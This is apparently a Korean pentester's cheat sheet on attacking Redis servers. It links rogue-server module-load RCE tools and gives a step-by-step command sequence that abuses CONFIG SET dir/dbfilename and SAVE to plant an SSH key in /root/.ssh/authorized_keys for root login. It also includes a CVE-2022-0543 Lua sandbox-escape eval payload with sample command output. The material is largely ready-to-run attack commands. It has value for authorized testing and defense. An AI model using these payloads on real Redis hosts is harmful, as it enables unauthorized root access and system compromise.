Redis RCE (Rogue Server / Module Load)
- 내용: SLAVEOF로 공격자 서버를 마스터로 등록 → .so 전송 → MODULE LOAD
- 버전: Redis 4.x / 5.x (≤ 5.0.5)
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/Ridter/redis-rce # 위 n0b0dyCN 리포의 수정버전
참고 사항:
- 인증 없이 접근 가능한지 먼저 확인:
redis-cli -h <IP> - 비밀번호가 필요할 때: config 파일에서 requirepass 읽거나, 기본 비밀번호 시도
- config_file:
/etc/redis/redis.conf - executable:
/usr/bin/redis-server
- config_file:
Redis RDB snapshot - Local File Write
Redis는 메모리 DB지만, 데이터를 디스크에 저장하는 기능 (RDB snapshot)이 있다. 관련 설정:
dir: 파일 저장 디렉토리dbfilename: 저장할 파일명save: Redis가 현재 메모리에 있는 데이터를 위 경로에 파일로 덤프
시나리오 예시:
# 1. SSH 키 생성
ssh-keygen -t rsa -f redis_key
# 2. 공개키 앞뒤에 개행 붙여서 Redis에 저장
# (RDB 포맷 오염을 줄이기 위해 \n 패딩)
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > payload.txt
redis-cli -h <TARGET> -x SET payload < payload.txt
# 3. 저장 경로 설정
redis-cli -h <TARGET> CONFIG SET dir /root/.ssh
redis-cli -h <TARGET> CONFIG SET dbfilename authorized_keys
# 4. 파일로 덤프
redis-cli -h <TARGET> SAVE
# 5. SSH 로그인
ssh -i redis_key root@<TARGET>CVE-2022-0543
- 내용: 원본 Redis 코드가 아닌, Ubuntu 및 Debian 계열 Linux의 패키징 결함으로 발생한 RCE 취약점.
- Redis 패키징 시 Lua 라이브러리를 정적으로 묶지 않고 동적으로 연결하여 발생.
- Redis의 Lua 샌드박스 내부에서 제한되어야 할 전역
package객체가 의도치 않게 노출
- 대상 OS: Debian 9~11, Ubuntu 20.04/21.10 (해당 OS 기반으로 패키징된 Redis)
PoC (https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.md)
# RCE
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
# 예시 redis-cli
192.168.x.x:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
"uid=107(redis) gid=114(redis) groups=114(redis)\n"
192.168.x.x:6379>